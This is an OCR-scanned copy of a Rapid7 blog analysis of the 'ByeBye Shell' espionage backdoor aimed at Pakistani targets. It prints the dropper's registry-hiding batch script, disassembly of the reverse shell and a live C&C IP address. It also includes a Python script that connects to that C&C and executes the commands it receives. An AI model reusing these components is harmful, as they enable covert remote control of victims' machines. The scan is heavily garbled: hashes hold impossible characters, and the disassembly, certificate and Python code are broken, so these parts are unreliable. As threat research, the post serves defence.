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Asia and South Asia are a theater for daily attacks and numerous ongoing espionage
campaigns between neighboring countries, so many campaigns that it's hard to keep
count. Recently I stumbled on yet another one, which appears to have been active since at
least the beginning of the year, and seems mostly directed at Pakistani targets.

In this article we're going to analyze the nature of the attacks, the functionality of the
backdoor - here labelled as ByeBye Shell - and the quick interaction I had with the
operators behind this campaign.

Infection

No exploit was used in any of the attacks we attribute to this campaign - the attackers
probably just relied on social engineering the victim through well-crafted spearphishing
emails.

The malware first appears to the victim as a .scr file. In some cases the attackers make use
of the Left-to-Right Override Unicode character in order to twist the .exe file extension
into something more credible.

Once executed it drops and launches a batch script in a %Temp% subfolder with the
following content:

@ echo off

@ start "IEXPLORE.EXE" '"<backdoor>"

@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v
Hidden /t REG_DWORD /d 0x00000000 /f

@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v
HideFileExt /t REG_DWORD /d 0x00000001 /f

@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v
ShowSuperHidden /t REG_DWORD /d 0x00000000 /f

@ reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHO\
/v CheckedValue /t REG_DWORD /d 0x00000000 /f

@ exit

As you can see, it enforces some configuration in the registry in order to hide file
extensions and not show hidden folders.
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Subsequently the malware creates and launches a Cabinet Self-Extractor, which drops
two additional executable files: one embedding either a PDF or a Microsoft Office Word
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document, the other being the actual backdoor.

These are the hashes of the original droppers I inspected during this analysis:

8bg224dac114a9b8433913a1977f88b2

469cfo4c457c17d8f24dacfofod41f33

6b349e439a17¢c4b66fb2a25965432aa9

d36dasc48d8fb7ee8c736ae183bf3f8a

The embedded documents all show content revolving around internal or foreign

Pakistan politics - following are some examples of such documents:
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Taliban warn of reprisal if PML-N govt
hangs militants

PESHAWAR: The outlawed Punjabi Taliban, an offshoot terrorist organisation of Tehrik-i-Taliban
Pakistan (TTP), on Monday warned the Pakistan Muslim League-Nawaz (PML-M) government of
dire consequences if it camries on with its plan of executing some convicts on death row.

In a pamphlet, distibuted in southem Punjab and South and Morth Wagziristan tribal agencies in
Khyber Pakhtunkhwa province borderng Afghanistan, the terrorist outfit said that the government
will be considered at war with them if it goes on to execute their colleagues cumently serving jail
terms and are on death row.

Pakistani authorities on Thursday said they will hang four convicts on death row later this month,
ending a five year stay on the execution of death sentences crdered by the outgoing president.

Inspector General Sindh prisons Musrat Mangan told Dawn.com that four condemned priscners,
including two members of the banned sectaran outfit Lashkar-e-Jhangvi (Led}, would be executed at
the Sukkur jail and Karachi Central prison on August 20, 21 and 22.

The pamphlet alsc warned the PML-M government to be wary of blindly following the Pakistan Army
as it said the amfmed forces use political forces for their own gains. "They (Pak Army) will be in favour
of yet another political force after alienating them at due time.”

“Remember what happened to Awami Mational Party (AMP)..... No one would now go to them even
for condolences,” said the pamphlet whose copy is available with Dawn.com.

It said the drone attack om Waliur Rehman was a planned conspiracy of “pro-America generals” to
sabotage their ‘wish' for peace. "Execution of prisomers will prove to be next episode of that
conspiracy,” said the pamphlet.

The purpose of this conspiracy is to push the PML-M and its allies into the swamp, it added.

Meanwhile, security has been put on high alert in Tank district of Khyber Pakhtunkhwa province after
Taliban threats of targeting the government properties including DPO office on August 14,

Official sources told Dawn.com that the TTP militants had threatened a week ago to rob banks and
burm down the DPO office in the wake of Independence Day celebrations on Wednesday.

4]

This document appears to report an article that appeared on Hilal, the magazine of the
Pakistan Armed Forces. You can find a copy of the original article on this Pakistan

institutional website.
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Bhould Pakistan Government be talking to TTP

Inthe past few years. Pakistan's Swat valley has been occupied by extremist insurgents, undergone
a bruising counter-offensive by the army and then flooded by waters that washed away acres of fruit
orchards and steeply terraced fields.

In October last year, the valley which lies about 250 km north of Islamabad was again in the global
spotlight when the Pakistani Taliban shot schoolgirl Malala Yousafzai.

MNow, as villagers try to piece together shattered lives, the military is coming under pressure to talk
peace with the Tehrik-i-Taliban Pakistan (TTP).

Civilian Pakistani leaders elected in May want to open a dialogue with the homegrown militants set
on overthrowing the nuclear-armed state. They say the local people are fed up with the violence and
that any talks will be legitimised by US efforts to promote peace with the Afghan Taliban.

But the powerful military, which has spent years chasing the Pakistan Taliban into ever-more remote
hideouts, is in no mood to negotiate with militants who have killed thousands of soldiers and who
they say cannot be trusted. Some villagers back that stand.

*(The Taliban) doesn't accept the government's writ, they are not faithful to the Constitution, how can
a political party talk to them?” said Abdul Rehman, an elder inthe village of Kalam, a former tourist
hotspot high in the Swat valley and ringed by snow-capped peaks of the Hindu Khush. The village is
famous for repelling Taliban attacks.

“We forced them away, first on our own, then with the help of the army,” Rehman told Reuters during
a visit organised by a UN organisation funding flood relief work in his village, which is set among
pine forests and walnut orchards.

The debate over whether to open peace talks with the Pakistani Taliban has taken centre stage in
the country as US troops withdraw from Afghanistan after a 12-year war against the Afghan Taliban.

Pakistan's military leaders are at pains to distinguish between the Afghan Taliban. to which Pakistan
maintains ties and which they argue can be seen as fighting against occupation, and its local
imitators who they see as domestic terrorists.

The Pakistani Taliban pledges allegiance to Mullah Mohammad Omar, the reclusive leader of the
Afghan Taliban but Omar is careful not to be seen to attack the Pakistani state. The Pakistani
Taliban suddenly sacked its spokesman on Tuesday amid signs of strained ties between the groups.
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Also in this case the attacker seems to have just reused an existing article. Searching
online for the content, it appears to have been originally published on a website called

SATribune, which is no longer online.

You can find a copy of the full article here.
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Taliban warn of reprisal if PML-N govt
hangs militants

PESHAWAR: The ouflawed Puniabi Taliban. an offshoot terrorist orpanisation of Tehrik-i-Taliban
Pakistan (TTP), on Menday warned the Pakistan Muslim League-MNawaz (PML-M) government of
dire consequences if it camies on with its plan of executing some convicts on death row.

In a pamphlet, distributed in southerm Punjab and South and MWorth Waziristan tribal agencies in
Khyber Pakhtunkbwa province bordering Afghanistan, the terrorist outfit said that the government
will be considered at war with them if it goes on to execute their colleagues cumently serving jail
terms and are on death row.

Pakistani authorities on Thursday said they will hang four convicts on death row later this month,
ending a five year stay on the execution of death sentences ordered by the outgoing president.

Inspector General Sindh prisons Musrat Mangan told Dawn.com that four condemned priscners,
including two members of the banned sectaran outfit Lashkar-e-Jhangvi (LeJ), would be executed at
the Sukkur jail and Karachi Central prison on August 20, 21 and 22.

The pamphlet alsc warned the PML-M government to be wary of blindly following the Pakistan Armmy
as it said the armed forces use political forces for their own gains. "They (Pak Army) will be in favour
of yet another political force after alienating them at due time.”

“Remember what happened to Awami Mational Party (AMP)..... No one would now go to them even
for condolences,” said the pamphlet whose copy is available with Dawn.com.

It said the drone attack om Waliur Rehman was a planned conspiracy of “pro-America generals” to
sabotage their ‘wish® for peace. "Execution of prisoners will prove to be next episode of that
conspiracy,” said the pamphlet.

The purpose of this conspiracy is to push the PML-M and its allies into the swamp, it added.

Meanwhile, security has been put on high alert in Tank district of Khyber Pakhtunkhwa province after
Talikan threats of targeting the government properties including DPO office on August 14,

Official sources told Dawn.com that the TTP militants had threatened a week ago to rob banks and
bum down the DPO office in the wake of Independence Day celebrations on Wednesday.

Again, the original article is available on Dawn.com.
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Bhould Pakistan Government be talking to TTP

Inthe past few years. Pakistan's Swat valley has been occupied by extremist insurgents, undergone
a bruising counter-offensive by the army and then flooded by waters that washed away acres of fruit
orchards and steeply terraced fields.

In October last year, the valley which lies about 250 km north of Islamabad was again in the global
spotlight when the Pakistani Taliban shot schoolgirl Malala Yousafzai.

MNow, as villagers try to piece together shattered lives, the military is coming under pressure to talk
peace with the Tehrik-i-Taliban Pakistan (TTP).

Civilian Pakistani leaders elected in May want to open a dialogue with the homegrown militants set
on overthrowing the nuclear-armed state. They say the local people are fed up with the violence and
that any talks will be legitimised by US efforts to promote peace with the Afghan Taliban.

But the powerful military, which has spent years chasing the Pakistan Taliban into ever-more remote
hideouts, is in no mood to negotiate with militants who have killed thousands of soldiers and who
they say cannot be trusted. Some villagers back that stand.

*(The Taliban) doesn't accept the government's writ, they are not faithful to the Constitution, how can
a political party talk to them?” said Abdul Rehman, an elder inthe village of Kalam, a former tourist
hotspot high in the Swat valley and ringed by snow-capped peaks of the Hindu Khush. The village is
famous for repelling Taliban attacks.

“We forced them away, first on our own, then with the help of the army,” Rehman told Reuters during
a visit organised by a UN organisation funding flood relief work in his village, which is set among
pine forests and walnut orchards.

The debate over whether to open peace talks with the Pakistani Taliban has taken centre stage in
the country as US troops withdraw from Afghanistan after a 12-year war against the Afghan Taliban.

Pakistan's military leaders are at pains to distinguish between the Afghan Taliban. to which Pakistan
maintains ties and which they argue can be seen as fighting against occupation, and its local
imitators who they see as domestic terrorists.

The Pakistani Taliban pledges allegiance to Mullah Mohammad Omar, the reclusive leader of the
Afghan Taliban but Omar is careful not to be seen to attack the Pakistani state. The Pakistani
Taliban suddenly sacked its spokesman on Tuesday amid signs of strained ties between the groups. 3
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This last one coming instead from Reuters.

Backdoor

Let's face it: at the point where the attackers obtain control over the target computer, not
much sophistication is left in day-to-day targeted attacks. Poisonlvy, Ghost and
custom backdoors are daily business for threat analysts and malware researchers, in most
cases being tedious work with little technical challenge.

This campaign is no exception. The main backdoor installed and executed on the victims'
systems appears to be a custom reverse shell with just a handful of features. Due to a lack
of public literature about this case, I decided to dub this family as ByeByeShell.

When disassembling the binary you can quickly understand the mechanics of the
backdoor. After some quick initialization, the backdoor XORs an embedded string with
0x9D to extract the IP address of the C&C server. Subsequently it establishes a connection
to it (generally on port 80) and checks in with some basic information about the system.

LAB-OF-MeE: 10.0.2.15..cccettreerieeeeeeeeeeeereennneeeeeeeeeessssnnnnnneens UserName: User
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HostName:lab
MAC:

Address 0: 10.0.2.15
[P130813]

As you can see, it reports the computer name, the user name, the IP address and MAC
address of the network adapter. The [P130813] line appears to be a constant value,
possibly a target identifier.

Interestingly, in a specific malware sample belonging to this campaign, the backdoor also
appends the string "INS and AfPak" at the end of the message - note that, as defined by
Wikipedia, "_AfPak (or Af-Pak) is a neologism used within US foreign policy circles to
designate Afghanistan and Pakistan as a single theater of operation_s".

After the check-in message is sent, the malware enters a continuous loop in which it will
keep silently waiting for commands from the open socket connection. From now on, it
expects some manual interaction from the attacker.

The supported commands are:

e shell
e comd
* sleep
e quit
o kill

You can see the switch block in the following screenshots.
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loc_4825C8:

push

Lea ecx, [ebp+var_
push

push BLCX

call _memset

Mo B socket
add

push

push

Lea

push

push

call

mow eax
cmp

jz

BLCX,
offset aShell

ECX

__stricmp

push
call spawn_cmd
add ESp,

loc_482621:

lea : [ebp+van
push offset aComd
push eax

call __stricmp

add

test ax

jnz 5 t loc_482650

When a message is received from the socket connection, it checks if the message is
"shell" then spawn a reverse shell, otherwise continues by checking for "comd"
which will simply execute a command and returns.
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s [ebp+vi

offset aQuit

ecx, [ebp+var_338]

; char *

; Flags

edx, socket
loc_402706: ; Len
mov ecx, socket offset asc_4002EB
push g HEE
push send
push g connection_status, eax
call send eax,
nov g socket j loc_4825C8
push H
call
call
nov

If neither "shell" or "comd" is specified by the operator, it checks if it has been instructed
to sleep or terminate, otherwise it just continues to the next iteration.

In the following screenshot you can see how the reverse shell is implemented: it just
launches a cind.exe and pipes stdin, stdout and stderr to the opened socket so
that the operator can directly interact with the Windows prompt.
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spawn_cnd proc near

ket _handle= dword ptr

push
mow
push
push
push
call
add
push
push
push
push
push
push
xor
push
push
mowv
mowv
mow
mo
mowv
mowv
push
push
mowv
mowv
mowv
mow
mo
mowv
mowv
mow
call
mowv
push
push
call
mowv
pop
retn

ebp
ebp, esp

; size_t

; int
offset Startupinfo ; wvoid *

_memset

offset ProcessIinformation ; lpProcessInformation
offset Startuplnfo ; LpStartuplnfo

; lpCurrentDirectory

; lpEnvironment

; dwCreationFlags

; bInheritHandles

ProcessAttributes ; LlpThreadAttributes
offset ProcessAttributes ; lpProcessAttributes
Process[nformation. hProcess,
ProcessInformation. hThread,
Process[nformation.dwProcess[d
Process[nformation.dwThreadld,
S5tartuplnfo.wShowkWindow, ax

, [ebp+socket_handle]
set CommandLine
; lpApplicationName
S5tartuplnfo.ch,
S5tartuplnfo.dwFlags,
S5tartuplnfo.hS5tdError,
S5tartuplnfo.hS5tdlnput, e
S5tartuplnfo. h5tdOutput,
ProcessAttributes.nlength,
ProcessAttributes.bInheritHandle,
ProcessAttributes. lpSecurityDescriptor,
ds:CreateProc A
ProcessInformation. hProcess
; dwMilliseconds
; hHandle
aitForSingleObject

spawn_cnd endp

As you can see, this is an extremely basic backdoor, even poorly written if you ask me.
Antivirus detection rate is also reasonably good, despite consisting mostly of generic

signatures.

The samples are also signed with an invalid Microsoft Windows certificate, which can be

used for further fingerprinting;:
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Certificate:
Data:

Version: 3 (0x2)

Serial Numb

er:
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5b:b2:39:83:49:9b:89:a0:43:a8:10:3a:67:24:13:78
Signature Algorithm: md5WithRSAEncryption
Issuer: CN=Microsoft Windows

Validity

Not Before: Dec 31 18:30:00 2011 GMT

Not Aft

er .

Subject: CN=Microsoft Windows
Subject Public Key Info:
Public Key Algorithm:
Public-Key:
Modulus:

54:
9b:
91:
le:
a4:
f4:
86:95:95:92:0b:57:

a7:
el:
b4:
ef:
22:
ba:
9c:

Dec 31 18:30:00 2014 GMT

rsaEncryption
(1024 bit)

00:c6:e9:0c:5e:0a:09:39:db:58:a8:03:6c:60:da:
32:ad:c5:

63:
df:
e9:
60:
ff:
6d:
ca:

Exponent: 65537 (0x10001)

X509v3 extensions:
2.5.29.1:
oD

[.9.I...C..:g%.x

bd:
cl:
05:
44
0a:
bl:
92:
d2:

. g.yY, . 0xz..../..0.

Signature Algorithm:
10d:
6f:
62:
f8:
6¢C:
40:
9b:

4f

ff

b3:
7b:
Qa:
9c:
cf:

6d:

b3:
25:
49:
83:
53:
:d9:
f8:

3d:
€0:
od:
37:
16:
a5:
7f:
39

95:
64:
31:
03:
38:
e9:
98:

9a:
a’:
el:
63:
99:
72:
f5:

Playing with the Attacker

14:
4b:
Qe:
9c:
01:
dil:
f1l:

39:
c3:
2a:
be:
a4:
7a:
04:

2b

aa:
a4:
49:
bb:
ed:

a7:

91:
bo:
96:
4b:
08:
ad:
bl:

55

35:
11:
95:
00:
:8b:
bf:

ca:
b6:
e3:
62:
2cC:
f8:
9b:

93:
ee:
99:
23:
66:
78:
29:

80:
55:
97:
f4:
ao:
Oe:
8d:

9f:
2b:
5e:
2e:
72:
9c:
58:

4a

81:
85:
8d:
90:
9e:
7a:

ac:
6cC:
52:
b8:
26:
1f:
13:

39:
bd:
Oe:
00:
a2:
2e:
1d:

d5:
f5:
b4:
b5:
4c:
38:
89:

aa:
83:
c7:
f0:
68:
89:
f9:

54:
9d:
37:
1c:
8c:
45:
77:

3d:
f9
c5:
48:
1d:
49:
of:

al

e9:
69:
63:
96:
80:

12:

45:

:9b:

63:
22:
66:
62:
ab:

ce

43:
87:

da:
12:
:90:
33:

e9:
04:
:88:
af:
f3:
2d:
29:

el:
f3:
77:
ea:
ac:
fe:
be:

1.0...U....Microsoft Windows..
md5WithRSAEncryption

1 7b:
dil:
42:
15:
f6:
6b:
bc:

36:
8d:
59:
50:
38:
79:
Te:

In all the cases presented in this blog post, the backdoors tried to connect to the C&C
located at 46.165.207.134, which appears to be a dedicated server hosted by Leaseweb:

inetnum:

netname: NETDIRECT-NET
descr:

remarks: INFRA-AW

country: DE

46.165.200.0 - 46.165.207.255

https://www.rapid7.com/blog/post/2013/08/19/byebye-and-the-targeting-of-pakistan/
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admin-c: LSWG-RIPE

tech-c: LSWG-RIPE

status: ASSIGNED PA
mnt-by: NETDIRECT-MNT
mnt-lower: NETDIRECT-MNT
mnt-routes: NETDIRECT-MNT
source: RIPE # Filtered

At the time of writing, the server appears to still be online. However port 80, which the
backdoors try to contact, appears to be available only sporadically. In order to get some
fun out of an overall straightforward analysis, I quickly hacked together a Python script
that emulates a ByeBye backdoor - following is the code:
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import os

import sys

import socket
import subprocess

def main(host='46.165.207.134"):

# This is the check-in message.

buf = "HOMEPC-OF-User:
192.168.0.5. i vii i ensn s en s st s s s s a s s s s s a s s E s E R s E s Ean e UserName:
User\n"

buf = "HostName:HOMEPC\n"

buf = "MAC: <MAC ADDRESS>\n"

buf = "Address 0: 192.168.0.5\n"

buf = "[P100713]\n"

buf = "$"

# Emulating cmd.exe, hacky but works.

cmd = "Microsoft Windows XP [Version 5.1.2600]\n"
cmd = "(C) Copyright 1985-2001 Microsoft Corp.\n"
prompt = "C:\Documents and Settings\User> "

print("[*] Trying to connect to C&C...")

# Try to establish connection with the C&C.
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
except Exception as e:
print("[!]1 ERROR: Unable to connect: {0}".format(e))
sock.close()
continue
else:
subprocess.Popen('start alarm.mp3', shell=True)
break

print("[*] Connected to C&C!")

# Send check-in message.
sock.send(buf)

print("[*] Authenticated to C&C!'")

# This flag represents whether we should currently emulate a cmd.exe prompt
# or emulate the backdoor shell.
shell_mode = False

# Main loop.
while True:
# Wait for incoming command.
try:
bufin = sock.recv(1024)
except KeyboardInterrupt:
break
except Exception as e:
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print("[!] ERROR: Connection lost: {0}".format(e))
break

data = bufin.strip()
if len(data) == 0:
continue

print("[ 1 Received: {0}".format(data))

# If we are in cmd.exe mode...
if shell_mode:
# If he tries to exit the cmd, we emulate that. if data in
('quit', 'exit'):
shell_mode = False
sock.send('/pre>)
continue
# If he tries to shutdown the system, I'm gonna interrupt.
elif 'shutdown' in data:
break
# I don't want him to kill processes.
elif 'taskkill' in data:
continue
# Otherwise just execute the command.
else:
proc = subprocess.Popen(data, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
(out, err) = proc.communicate()

if out:
lines = out.split('\n")
out_lines = []
for line in lines:
# Can filter output here, for instance remove process
# names or VirtualBox indicators and such.
out_lines.append(line)

# Send the findal cmd output.

sock.send('\n'.join(out_lines))
if err:

sock.send(err)

sock.send(prompt)
else:

if data == 'kill':
# Should do this:
#sock.send('KILLED')
# But I'm disappointed:
sock.send('N0000000000000000 :—( I thought we were friends!"')
break

elif data == 'shell':
sock.send(cmd)
sock.send(prompt)
shell_mode = True
continue

elif data == 'sleep':
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sock.send('BYE BYE\n')

sock.send('/pre>)

if __name__ == '__main__"':
if len(sys.argv) == 2:
main(sys.argv[1])
else:
main()

As you can see, this script simply tries to emulate the basic functionality of ByeBye: it
performs the initial check-in and waits for incoming messages from the operator.

Yes - since, as previously said, the C&C comes online only at times - I instructed the script
to play an extremely loud alarm. Props to my flatmate for waking me up whenever the
alarm went off.

Surprisingly the operator responded few moments later my first attempt, although he
quickly tried to terminate me probably noticing an unexpected origin:

[ ] Received: kill

[ ] Received: kill

[ ] Received: shell

[ ] Received: shutdown /r /t 0

Unfortunately at that time I didn't have the script completed, therefore he noticed
something odd and closed my connection.

I let a few days pass, completed the script and prepared a more credible scenario: a
legitimate looking system connecting out of South Asia. This time it took a bit longer to
get some response from the operator, who simply tried to search for documents on
the system:

[ ] Received: shell

[ ] Received: systeminfo
[ ] Received: dir /s *.pdf
[ 1 Received: dir /s *.doc
[ 1 Received: exit

[ ] Received: sleep

Sadly no further activity was observed.
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Conclusions

This is yet another case of poorly skilled attackers managing to run successful espionage
campaigns for extended periods of time. This is probably one of the most basic incidents I
encountered so far, but we can safely assume that the operators behind this campaign are
successful enough to maintain the operations running for at least the last 6 months,
possibly even more.

No clear indicator is available to make an informed estimate on what could be the origin
of the attacks.

This work was brought to you by Claudio "nex" Guarnieri, Rapidy Labs.
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